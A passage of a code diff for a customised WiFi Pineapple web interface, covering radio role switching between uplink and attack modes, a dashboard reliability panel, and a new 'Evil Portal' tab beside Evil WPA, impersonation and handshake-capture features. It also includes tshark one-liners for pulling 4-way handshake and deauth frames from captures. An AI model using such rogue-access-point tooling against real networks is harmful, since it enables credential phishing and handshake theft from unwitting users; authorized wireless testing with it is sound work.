||||||
|
# netifd consumes committed config only; staging without commit
|
||||||
|
# would leave the STA with no L3 attachment.
|
||||||
|
device_run(['uci', 'commit', 'network'])
|
||||||
|
_pause_hop()
|
||||||
|
assoc = None
|
||||||
|
used_mode = None
|
||||||
|
modes = PSK_MODE_CHAIN if psk else [('none', None)]
|
||||||
|
for enc, pmf in modes:
|
||||||
|
device_run(['uci', 'set', 'wireless.wlan1up.encryption=%s' % enc])
|
||||||
|
if pmf is not None:
|
||||||
|
device_run(['uci', 'set',
|
||||||
|
'wireless.wlan1up.ieee80211w=%s' % pmf])
|
||||||
|
device_run(['uci', 'commit', 'wireless'])
|
||||||
|
device_run(['wifi', 'reload'], timeout=60)
|
||||||
|
for _ in range(ASSOC_ATTEMPTS):
|
||||||
|
time.sleep(ASSOC_WAIT_SECONDS)
|
||||||
|
assoc = associated()
|
||||||
|
if assoc:
|
||||||
|
break
|
||||||
|
if assoc:
|
||||||
|
used_mode = enc
|
||||||
|
break
|
||||||
|
if not assoc or not used_mode:
|
||||||
|
disable_uplink()
|
||||||
|
# UCI alone does not converge runtime: without a reload wlan1up
|
||||||
|
# keeps scanning/authenticating and pins phy1 until some unrelated
|
||||||
|
# future reload, while current_role() already reports idle.
|
||||||
|
# Converge now like the idle branch, then reapply the hop policy.
|
||||||
|
device_run(['wifi', 'reload'], timeout=60)
|
||||||
|
_resume_hop()
|
||||||
|
return {'ok': False,
|
||||||
|
'error': 'association failed; reverted',
|
||||||
|
'tried_modes': [m for m, _ in modes]}
|
||||||
|
return {'ok': True, 'role': 'uplink', 'assoc': assoc,
|
||||||
|
'mode': used_mode}
|
||||||
|
# attack/idle: tear down the STA so radio1 is free again.
|
||||||
|
disable_uplink()
|
||||||
|
_resume_hop()
|
||||||
|
if role == 'attack':
|
||||||
|
# The deploy path performs its own wifi reload right after; teardown
|
||||||
|
# converges there without a second reload churn on this phy.
|
||||||
|
try:
|
||||||
|
import mk8_events
|
||||||
|
mk8_events.log_event(
|
||||||
|
'rfplan', msg='rfplan role attack applied; STA teardown '
|
||||||
|
'applies at next wifi reload')
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
# idle has no guaranteed follow-up reload anywhere else, so converge
|
||||||
|
# now while the gated watchdog is still armed.
|
||||||
|
device_run(['wifi', 'reload'], timeout=60)
|
||||||
|
return {'ok': True, 'role': role}
|
||||||
|
|
||||||
|
|
||||||
|
def disable_uplink():
|
||||||
|
from server import device_run
|
||||||
|
device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
|
||||||
|
device_run(['uci', 'commit', 'wireless'])
|
||||||
|
|
||||||
|
|
||||||
|
def ensure_attack():
|
||||||
|
"""Exclusivity hook for radio1 attack-AP enable paths: switch the
|
||||||
|
uplink off first so one phy never carries STA + AP at once."""
|
||||||
|
if current_role() == 'uplink':
|
||||||
|
return set_role('attack')
|
||||||
|
return None
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -89,7 +89,7 @@ kill $TDPID
|
|||||||
Analysis one-liners:
|
Analysis one-liners:
|
||||||
```sh
|
```sh
|
||||||
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
|
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
|
||||||
tshark -r cap -Y eapol -c 10 # 4-way keys
|
tshark -r cap -Y "llc && eth.type == 0x888e" -c 10 # 4-way keys (this firmware's tcpdump/tshark `eapol` filter matches 0 frames — use llc/ether-proto)
|
||||||
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
|
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
|
||||||
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
|
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -494,7 +494,7 @@ html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
|
|||||||
.hs-settings-value { font-family: Consolas, Menlo, monospace; word-break: break-all; }
|
.hs-settings-value { font-family: Consolas, Menlo, monospace; word-break: break-all; }
|
||||||
html.dark .modal { background: #303030; }
|
html.dark .modal { background: #303030; }
|
||||||
|
|
||||||
/* ---- PineAP overview segmented control ---- */
|
/* ---- PineAP segmented control ---- */
|
||||||
.seg { display: inline-flex; margin-top: 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; overflow: hidden; }
|
.seg { display: inline-flex; margin-top: 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; overflow: hidden; }
|
||||||
.seg-btn { background: transparent; border: none; padding: 5px 14px; font-size: 12px; cursor: pointer; color: var(--muted, #666); }
|
.seg-btn { background: transparent; border: none; padding: 5px 14px; font-size: 12px; cursor: pointer; color: var(--muted, #666); }
|
||||||
.seg-btn + .seg-btn { border-left: 1px solid var(--border, #e0e0e0); }
|
.seg-btn + .seg-btn { border-left: 1px solid var(--border, #e0e0e0); }
|
||||||
@@ -510,11 +510,6 @@ html.dark .modal { background: #303030; }
|
|||||||
.pineap-card-title-link:visited { color: inherit; }
|
.pineap-card-title-link:visited { color: inherit; }
|
||||||
.pineap-card-title-link:hover { text-decoration: underline; }
|
.pineap-card-title-link:hover { text-decoration: underline; }
|
||||||
.pineap-card-title-content { display: flex; justify-content: center; align-items: center; font-size: 24px; }
|
.pineap-card-title-content { display: flex; justify-content: center; align-items: center; font-size: 24px; }
|
||||||
.pineap-card-button-group { width: 100%; height: 30px; display: flex; }
|
|
||||||
.pineap-card-button-group .seg { flex: 1; height: 100%; margin-top: 0; }
|
|
||||||
.pineap-card-button-group .seg-btn { flex: 1; }
|
|
||||||
.pineap-mode-save { display: flex; justify-content: flex-end; margin-top: 10px; }
|
|
||||||
.pineap-mode-features { margin: 6px 0 0; padding-left: 20px; }
|
|
||||||
.pineap-card-settings, .pineap-card-pool, .pineap-card-handshakes, .pineap-card-inject { flex: 1; }
|
.pineap-card-settings, .pineap-card-pool, .pineap-card-handshakes, .pineap-card-inject { flex: 1; }
|
||||||
.pineap-handshakes-none { display: flex; justify-content: center; font-style: italic; color: var(--muted); }
|
.pineap-handshakes-none { display: flex; justify-content: center; font-style: italic; color: var(--muted); }
|
||||||
|
|
||||||
@@ -622,3 +617,37 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
|
|||||||
.payload-filters, .payload-dev-grid { grid-template-columns: 1fr; }
|
.payload-filters, .payload-dev-grid { grid-template-columns: 1fr; }
|
||||||
.payload-actions { justify-content: flex-start; }
|
.payload-actions { justify-content: flex-start; }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ---- Mark VIII reliability panel ---- */
|
||||||
|
.mk8-rel-head { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }
|
||||||
|
.mk8-rel-head h2 { margin: 0; }
|
||||||
|
.mk8-counter-row {
|
||||||
|
display: grid; grid-template-columns: repeat(auto-fit, minmax(130px, 1fr));
|
||||||
|
gap: 10px; margin-bottom: 14px;
|
||||||
|
}
|
||||||
|
.mk8-counter { background: var(--surface-alt); border-radius: 2px; padding: 8px 12px; }
|
||||||
|
.mk8-counter-value { font-size: 22px; font-weight: 500; font-variant-numeric: tabular-nums; }
|
||||||
|
.mk8-counter-label { font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--muted); }
|
||||||
|
.mk8-events-feed { max-height: 280px; overflow-y: auto; border-top: 1px solid var(--border); }
|
||||||
|
.mk8-event-row {
|
||||||
|
display: flex; align-items: baseline; gap: 10px; padding: 6px 2px;
|
||||||
|
border-bottom: 1px solid var(--border); font-size: 12px;
|
||||||
|
}
|
||||||
|
.mk8-event-time { flex: none; color: var(--muted); font-variant-numeric: tabular-nums; }
|
||||||
|
.mk8-event-kind { flex: none; min-width: 90px; font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--primary); }
|
||||||
|
.mk8-event-msg { flex: 1; min-width: 0; overflow-wrap: anywhere; }
|
||||||
|
.mk8-event-row.sev-warn .mk8-event-msg { color: #b26a00; }
|
||||||
|
.mk8-event-row.sev-error .mk8-event-msg { color: var(--danger); }
|
||||||
|
html.dark .mk8-event-row.sev-warn .mk8-event-msg { color: #ffb74d; }
|
||||||
|
|
||||||
|
/* ---- Mark VIII RF plan chip + role card ---- */
|
||||||
|
#rf-chip { white-space: nowrap; }
|
||||||
|
.rf-role-status { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; margin: 4px 0 10px; font-size: 12px; }
|
||||||
|
.rf-role-grid {
|
||||||
|
display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
|
||||||
|
gap: 4px 14px; align-items: end;
|
||||||
|
}
|
||||||
|
.mk8-rf-result { font-size: 12px; margin-top: 10px; min-height: 16px; overflow-wrap: anywhere; }
|
||||||
|
.mk8-rf-result.ok { color: #2e7d32; }
|
||||||
|
.mk8-rf-result.error { color: var(--danger); }
|
||||||
|
html.dark .mk8-rf-result.ok { color: #81c784; }
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
<meta name="color-scheme" content="light dark">
|
<meta name="color-scheme" content="light dark">
|
||||||
<title>WiFi Pineapple</title>
|
<title>WiFi Pineapple</title>
|
||||||
<link rel="icon" type="image/png" href="assets/logo.png">
|
<link rel="icon" type="image/png" href="assets/logo.png">
|
||||||
<link rel="stylesheet" href="css/app.css?v=20260820-4">
|
<link rel="stylesheet" href="css/app.css?v=20260822-1">
|
||||||
<link rel="stylesheet" href="js/xterm.css">
|
<link rel="stylesheet" href="js/xterm.css">
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
@@ -27,6 +27,7 @@
|
|||||||
<span class="toolbar-spacer"></span>
|
<span class="toolbar-spacer"></span>
|
||||||
<span id="live-status"></span>
|
<span id="live-status"></span>
|
||||||
<span id="health-status" class="health-chip"></span>
|
<span id="health-status" class="health-chip"></span>
|
||||||
|
<span id="rf-chip" class="health-chip"></span>
|
||||||
<div class="toolbar-action">
|
<div class="toolbar-action">
|
||||||
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
|
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
|
||||||
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
|
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
|
||||||
@@ -268,7 +269,7 @@
|
|||||||
<script src="js/xterm-addon-fit.min.js"></script>
|
<script src="js/xterm-addon-fit.min.js"></script>
|
||||||
<script src="js/terminal.js?v=20260820-4"></script>
|
<script src="js/terminal.js?v=20260820-4"></script>
|
||||||
<script src="js/pager.js?v=20260820-4"></script>
|
<script src="js/pager.js?v=20260820-4"></script>
|
||||||
<script src="js/views.js?v=20260820-4"></script>
|
<script src="js/views.js?v=20260822-3"></script>
|
||||||
<script src="js/app.js?v=20260820-4"></script>
|
<script src="js/app.js?v=20260822-3"></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -420,6 +420,7 @@ const App = (() => {
|
|||||||
'#/recon': 'recon',
|
'#/recon': 'recon',
|
||||||
'#/recon/reports': 'recon_reports',
|
'#/recon/reports': 'recon_reports',
|
||||||
'#/recon/handshakes': 'recon_handshakes',
|
'#/recon/handshakes': 'recon_handshakes',
|
||||||
|
'#/pineap/evilportal': 'pineap_evilportal',
|
||||||
'#/logging': 'logging',
|
'#/logging': 'logging',
|
||||||
'#/logging/system': 'logging_system',
|
'#/logging/system': 'logging_system',
|
||||||
'#/modules': 'modules',
|
'#/modules': 'modules',
|
||||||
@@ -448,6 +449,9 @@ const Live = (() => {
|
|||||||
let poll = null;
|
let poll = null;
|
||||||
let pollHealthTimer = null;
|
let pollHealthTimer = null;
|
||||||
let pollEventsTimer = null;
|
let pollEventsTimer = null;
|
||||||
|
let pollRfTimer = null;
|
||||||
|
let rfState = null;
|
||||||
|
let rfChannel = null;
|
||||||
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
|
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
|
||||||
pineapUp: null, mon0: null, mon1: null };
|
pineapUp: null, mon0: null, mon1: null };
|
||||||
const subs = [];
|
const subs = [];
|
||||||
@@ -466,6 +470,10 @@ const Live = (() => {
|
|||||||
pollEventsTimer = setInterval(pollEvents, 15000);
|
pollEventsTimer = setInterval(pollEvents, 15000);
|
||||||
pollEvents();
|
pollEvents();
|
||||||
}
|
}
|
||||||
|
if (!pollRfTimer) {
|
||||||
|
pollRfTimer = setInterval(pollRfplan, 15000);
|
||||||
|
pollRfplan();
|
||||||
|
}
|
||||||
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
|
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
|
||||||
catch (e) { fallback(); return; }
|
catch (e) { fallback(); return; }
|
||||||
ws.onopen = () => { ever = true; };
|
ws.onopen = () => { ever = true; };
|
||||||
@@ -512,6 +520,57 @@ const Live = (() => {
|
|||||||
const n = (msg.clients || []).length;
|
const n = (msg.clients || []).length;
|
||||||
const el = document.getElementById('live-status');
|
const el = document.getElementById('live-status');
|
||||||
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
|
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
|
||||||
|
const wifi = (msg.status || {}).wifi;
|
||||||
|
if (Array.isArray(wifi)) {
|
||||||
|
const up = wifi.find((w) => w && w.iface === 'wlan1up');
|
||||||
|
rfChannel = up && up.channel != null ? Number(up.channel) : null;
|
||||||
|
renderRfChip();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function pollRfplan() {
|
||||||
|
fetch(App.apiBase + '/api/rfplan', { credentials: 'include' }).then((r) => {
|
||||||
|
if (!r.ok) throw new Error('http ' + r.status);
|
||||||
|
return r.json();
|
||||||
|
}).then((d) => {
|
||||||
|
rfState = d && typeof d.role === 'string' ? d : null;
|
||||||
|
renderRfChip();
|
||||||
|
}).catch(() => {
|
||||||
|
rfState = null;
|
||||||
|
const el = document.getElementById('rf-chip');
|
||||||
|
if (el) {
|
||||||
|
el.textContent = 'PHY1: ?';
|
||||||
|
el.title = 'RF plan unavailable';
|
||||||
|
el.className = 'health-chip warn';
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
function renderRfChip() {
|
||||||
|
const el = document.getElementById('rf-chip');
|
||||||
|
if (!el) return;
|
||||||
|
if (!rfState) {
|
||||||
|
el.textContent = '';
|
||||||
|
el.title = '';
|
||||||
|
el.className = 'health-chip';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let text;
|
||||||
|
let cls = '';
|
||||||
|
if (rfState.role === 'uplink') {
|
||||||
|
text = 'PHY1: UPLINK' + (rfState.assoc && rfChannel ? ' ch' + rfChannel : '');
|
||||||
|
cls = rfState.assoc ? 'good' : 'warn';
|
||||||
|
} else if (rfState.role === 'attack') {
|
||||||
|
text = 'PHY1: ATTACK';
|
||||||
|
cls = 'warn';
|
||||||
|
} else if (rfState.role === 'idle') {
|
||||||
|
text = 'PHY1: IDLE';
|
||||||
|
} else {
|
||||||
|
text = 'PHY1: ' + String(rfState.role).toUpperCase();
|
||||||
|
}
|
||||||
|
el.textContent = text;
|
||||||
|
el.className = 'health-chip' + (cls ? ' ' + cls : '');
|
||||||
|
el.title = 'radio1 role: ' + rfState.role +
|
||||||
|
' \u00b7 assoc ' + (rfState.assoc || 'none') +
|
||||||
|
' \u00b7 hop ' + (rfState.hop_paused == null ? 'unknown' : rfState.hop_paused ? 'paused' : 'running');
|
||||||
}
|
}
|
||||||
function pollHealth() {
|
function pollHealth() {
|
||||||
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
|
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
|
||||||
|
|||||||
@@ -39,5 +39,6 @@ window.PineappleIcons = {
|
|||||||
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
|
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
|
||||||
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
|
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
|
||||||
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
|
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
|
||||||
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
|
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>',
|
||||||
|
portal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.32,21.58 9.5,21.29 9.5,21.05C9.5,20.83 9.49,20.1 9.49,19.33C7,19.79 6.41,17.82 6.41,17.82C5.97,16.68 5.33,16.39 5.33,16.39C4.45,15.79 5.39,15.8 5.39,15.8C6.36,15.87 6.86,16.79 6.86,16.79C7.73,18.27 9.15,17.84 9.71,17.59C9.8,16.97 10.05,16.54 10.32,16.3C8.14,16.06 5.85,15.22 5.85,11.44C5.85,10.37 6.23,9.5 6.85,8.81C6.75,8.57 6.41,7.57 6.95,6.22C6.95,6.22 7.78,5.96 9.49,7.11C10.29,6.89 11.13,6.78 11.97,6.78C12.81,6.78 13.65,6.89 14.45,7.11C16.16,5.96 16.99,6.22 16.99,6.22C17.53,7.57 17.19,8.57 17.09,8.81C17.71,9.5 18.09,10.37 18.09,11.44C18.09,15.23 15.8,16.06 13.61,16.3C13.96,16.6 14.27,17.19 14.27,18.1C14.27,19.4 14.26,20.45 14.26,20.77C14.26,21.03 14.44,21.32 14.92,21.23C18.89,19.93 22,16.42 22,12A10,10 0 0,0 12,2Z"/></svg>'
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -192,7 +192,7 @@ views.dashboard = (root) => {
|
|||||||
root.appendChild(grid);
|
root.appendChild(grid);
|
||||||
const defs = [
|
const defs = [
|
||||||
['clients', 'Clients Connected'], ['handshakes', 'Handshakes Captured'],
|
['clients', 'Clients Connected'], ['handshakes', 'Handshakes Captured'],
|
||||||
['disk', 'Disk Usage'], ['uptime', 'Uptime']
|
['disk', 'Disk Usage'], ['mem', 'RAM Usage'], ['uptime', 'Uptime']
|
||||||
];
|
];
|
||||||
const cards = {};
|
const cards = {};
|
||||||
defs.forEach(([k, label]) => {
|
defs.forEach(([k, label]) => {
|
||||||
@@ -214,6 +214,40 @@ views.dashboard = (root) => {
|
|||||||
live.appendChild(card);
|
live.appendChild(card);
|
||||||
liveCards[k] = card.querySelector('.card-value');
|
liveCards[k] = card.querySelector('.card-value');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const counterDefs = [
|
||||||
|
['boots', 'Boots'], ['unexpected_boots', 'Unexpected Boots'],
|
||||||
|
['rollbacks', 'Rollbacks'], ['restarts', 'Restarts'], ['guard_fixes', 'Guard Fixes']
|
||||||
|
];
|
||||||
|
const counterVals = {};
|
||||||
|
const counterRow = h('div', { class: 'mk8-counter-row' });
|
||||||
|
counterDefs.forEach(([k, label]) => {
|
||||||
|
const val = h('div', { class: 'mk8-counter-value', text: '—' });
|
||||||
|
counterRow.appendChild(h('div', { class: 'mk8-counter' },
|
||||||
|
val, h('div', { class: 'mk8-counter-label', text: label })));
|
||||||
|
counterVals[k] = val;
|
||||||
|
});
|
||||||
|
const guardChip = h('span', { class: 'health-chip', text: 'GUARD —' });
|
||||||
|
const feedBody = h('div', { class: 'mk8-events-feed' },
|
||||||
|
h('div', { class: 'empty', text: 'No events recorded.' }));
|
||||||
|
root.appendChild(h('div', { class: 'section' },
|
||||||
|
h('div', { class: 'mk8-rel-head' }, h('h2', {}, 'Reliability'), guardChip),
|
||||||
|
counterRow,
|
||||||
|
feedBody));
|
||||||
|
function renderEvents(events) {
|
||||||
|
feedBody.innerHTML = '';
|
||||||
|
if (!Array.isArray(events) || !events.length) {
|
||||||
|
feedBody.appendChild(h('div', { class: 'empty', text: 'No events recorded.' }));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
events.forEach((ev) => {
|
||||||
|
const sev = ev.sev === 'error' ? 'error' : ev.sev === 'warn' ? 'warn' : 'info';
|
||||||
|
feedBody.appendChild(h('div', { class: 'mk8-event-row sev-' + sev },
|
||||||
|
h('span', { class: 'mk8-event-time', text: fmtShortTime(ev.ts) }),
|
||||||
|
h('span', { class: 'mk8-event-kind', text: String(ev.kind || '?') }),
|
||||||
|
h('span', { class: 'mk8-event-msg', text: String(ev.msg || '') })));
|
||||||
|
});
|
||||||
|
}
|
||||||
function loadLive() {
|
function loadLive() {
|
||||||
PagerAPI.get('/api/attacks/status').then((r) => {
|
PagerAPI.get('/api/attacks/status').then((r) => {
|
||||||
const s = r.data || {};
|
const s = r.data || {};
|
||||||
@@ -242,6 +276,22 @@ views.dashboard = (root) => {
|
|||||||
(h2.pool_disabled ? ' · pool off' : '') +
|
(h2.pool_disabled ? ' · pool off' : '') +
|
||||||
((h2.env || {}).overall ? ' · env ' + h2.env.overall : '');
|
((h2.env || {}).overall ? ' · env ' + h2.env.overall : '');
|
||||||
liveCards.health.style.color = h2.pineap_up ? '' : '#b71c1c';
|
liveCards.health.style.color = h2.pineap_up ? '' : '#b71c1c';
|
||||||
|
const rel = h2.reliability || {};
|
||||||
|
Object.keys(counterVals).forEach((k) => {
|
||||||
|
counterVals[k].textContent = rel[k] == null ? '—' : String(rel[k]);
|
||||||
|
});
|
||||||
|
const g = h2.guard || {};
|
||||||
|
if (typeof g.in_sync !== 'boolean') {
|
||||||
|
guardChip.className = 'health-chip';
|
||||||
|
guardChip.textContent = 'GUARD —';
|
||||||
|
} else if (g.in_sync) {
|
||||||
|
guardChip.className = 'health-chip good';
|
||||||
|
guardChip.textContent = 'GUARD IN SYNC';
|
||||||
|
} else {
|
||||||
|
guardChip.className = 'health-chip warn';
|
||||||
|
guardChip.textContent = 'GUARD PENDING' + (g.pending && g.pending.length ? ' · ' + g.pending.length : '');
|
||||||
|
}
|
||||||
|
renderEvents(h2.events);
|
||||||
}).catch(() => {});
|
}).catch(() => {});
|
||||||
PagerAPI.get('/api/recon/status').then((r) => {
|
PagerAPI.get('/api/recon/status').then((r) => {
|
||||||
const s = r.data || {};
|
const s = r.data || {};
|
||||||
@@ -268,6 +318,8 @@ views.dashboard = (root) => {
|
|||||||
cards.uptime.textContent = s.uptime == null ? 'Unavailable' : fmtDur(s.uptime);
|
cards.uptime.textContent = s.uptime == null ? 'Unavailable' : fmtDur(s.uptime);
|
||||||
cards.disk.textContent = s.disk && s.disk.size != null
|
cards.disk.textContent = s.disk && s.disk.size != null
|
||||||
? fmtBytes(s.disk.used) + ' / ' + fmtBytes(s.disk.size) : 'Unavailable';
|
? fmtBytes(s.disk.used) + ' / ' + fmtBytes(s.disk.size) : 'Unavailable';
|
||||||
|
cards.mem.textContent = s.mem && s.mem.size != null
|
||||||
|
? fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size) : 'Unavailable';
|
||||||
if (typeof MiniChart !== 'undefined') {
|
if (typeof MiniChart !== 'undefined') {
|
||||||
MiniChart.draw(canvas, [
|
MiniChart.draw(canvas, [
|
||||||
{ label: 'Clients', color: '#1976d2', points: history.clients }
|
{ label: 'Clients', color: '#1976d2', points: history.clients }
|
||||||
@@ -279,6 +331,7 @@ views.dashboard = (root) => {
|
|||||||
.catch(() => {
|
.catch(() => {
|
||||||
cards.clients.textContent = '0';
|
cards.clients.textContent = '0';
|
||||||
cards.disk.textContent = '—';
|
cards.disk.textContent = '—';
|
||||||
|
cards.mem.textContent = '—';
|
||||||
cards.uptime.textContent = '—';
|
cards.uptime.textContent = '—';
|
||||||
});
|
});
|
||||||
PagerAPI.get('/api/pineap/handshakes').then((r) => {
|
PagerAPI.get('/api/pineap/handshakes').then((r) => {
|
||||||
@@ -332,6 +385,7 @@ const PINEAP_TABS = [
|
|||||||
{ label: 'OpenAP', hash: '#/pineap/open' },
|
{ label: 'OpenAP', hash: '#/pineap/open' },
|
||||||
{ label: 'Evil WPA', hash: '#/pineap/evilwpa' },
|
{ label: 'Evil WPA', hash: '#/pineap/evilwpa' },
|
||||||
{ label: 'Evil Enterprise', hash: '#/pineap/enterprise' },
|
{ label: 'Evil Enterprise', hash: '#/pineap/enterprise' },
|
||||||
|
{ label: 'Evil Portal', hash: '#/pineap/evilportal' },
|
||||||
{ label: 'Impersonation', hash: '#/pineap/impersonation' },
|
{ label: 'Impersonation', hash: '#/pineap/impersonation' },
|
||||||
{ label: 'Clients', hash: '#/pineap/clients' },
|
{ label: 'Clients', hash: '#/pineap/clients' },
|
||||||
{ label: 'Filtering', hash: '#/pineap/filtering' }
|
{ label: 'Filtering', hash: '#/pineap/filtering' }
|
||||||
@@ -339,7 +393,7 @@ const PINEAP_TABS = [
|
|||||||
|
|
||||||
// The Pager daemon can change these states but cannot read them back. Keep
|
// The Pager daemon can change these states but cannot read them back. Keep
|
||||||
// them explicitly unknown until this WebUI successfully changes them.
|
// them explicitly unknown until this WebUI successfully changes them.
|
||||||
const PINEAP_SESSION = { mode: null, karma: null, advertise: null, collect: null };
|
const PINEAP_SESSION = { karma: null, advertise: null, collect: null };
|
||||||
|
|
||||||
function setKnownCheckbox(cb, value) {
|
function setKnownCheckbox(cb, value) {
|
||||||
cb.indeterminate = value == null;
|
cb.indeterminate = value == null;
|
||||||
@@ -380,27 +434,6 @@ views.pineap = (root) => {
|
|||||||
});
|
});
|
||||||
box.appendChild(statWrap);
|
box.appendChild(statWrap);
|
||||||
|
|
||||||
const mode = h('span', { class: 'badge', text: '—' });
|
|
||||||
let selectedMode = 'unknown';
|
|
||||||
let modeDirty = false;
|
|
||||||
let modePending = false;
|
|
||||||
const segBtns = {};
|
|
||||||
const modeBar = h('div', { class: 'seg' });
|
|
||||||
['passive', 'active', 'advanced'].forEach((m) => {
|
|
||||||
const b = h('button', { class: 'seg-btn', text: m[0].toUpperCase() + m.slice(1) });
|
|
||||||
b.addEventListener('click', () => selectMode(m, true));
|
|
||||||
modeBar.appendChild(b);
|
|
||||||
segBtns[m] = b;
|
|
||||||
});
|
|
||||||
const modeInfo = h('div', { class: 'muted', style: 'margin-top:8px;font-size:12px' });
|
|
||||||
const saveModeBtn = btn('Save Mode', saveMode, 'ghost');
|
|
||||||
saveModeBtn.disabled = true;
|
|
||||||
const modeCard = h('div', { class: 'pineap-title-card' },
|
|
||||||
h('div', { class: 'pineap-card-title-flex' }, mode),
|
|
||||||
h('div', { class: 'pineap-card-button-group' }, modeBar),
|
|
||||||
modeInfo,
|
|
||||||
h('div', { class: 'pineap-mode-save' }, saveModeBtn));
|
|
||||||
|
|
||||||
const quick = {
|
const quick = {
|
||||||
collect: h('input', { type: 'checkbox', id: 'po-collect' }),
|
collect: h('input', { type: 'checkbox', id: 'po-collect' }),
|
||||||
advertise: h('input', { type: 'checkbox', id: 'po-advertise' })
|
advertise: h('input', { type: 'checkbox', id: 'po-advertise' })
|
||||||
@@ -415,8 +448,62 @@ views.pineap = (root) => {
|
|||||||
quickCard.appendChild(h('div', { class: 'muted', style: 'margin-top:8px;font-size:12px' },
|
quickCard.appendChild(h('div', { class: 'muted', style: 'margin-top:8px;font-size:12px' },
|
||||||
'Client connect/disconnect notifications are handled by the Pager alert payload system.'));
|
'Client connect/disconnect notifications are handled by the Pager alert payload system.'));
|
||||||
|
|
||||||
|
const rfSel = h('select', {},
|
||||||
|
h('option', { value: 'uplink', text: 'Uplink (station)' }),
|
||||||
|
h('option', { value: 'attack', text: 'Attack' }),
|
||||||
|
h('option', { value: 'idle', text: 'Idle' }));
|
||||||
|
const rfSsid = h('input', { placeholder: 'Uplink network SSID', autocomplete: 'off' });
|
||||||
|
const rfPsk = h('input', { type: 'password', placeholder: 'Leave blank for an open network',
|
||||||
|
autocomplete: 'new-password' });
|
||||||
|
const rfStatusBadge = h('span', { class: 'badge unknown', text: '—' });
|
||||||
|
const rfStatusInfo = h('span', { class: 'muted', text: '' });
|
||||||
|
const rfResult = h('div', { class: 'mk8-rf-result', text: '' });
|
||||||
|
function renderRfStatus(d) {
|
||||||
|
const role = d.role || 'idle';
|
||||||
|
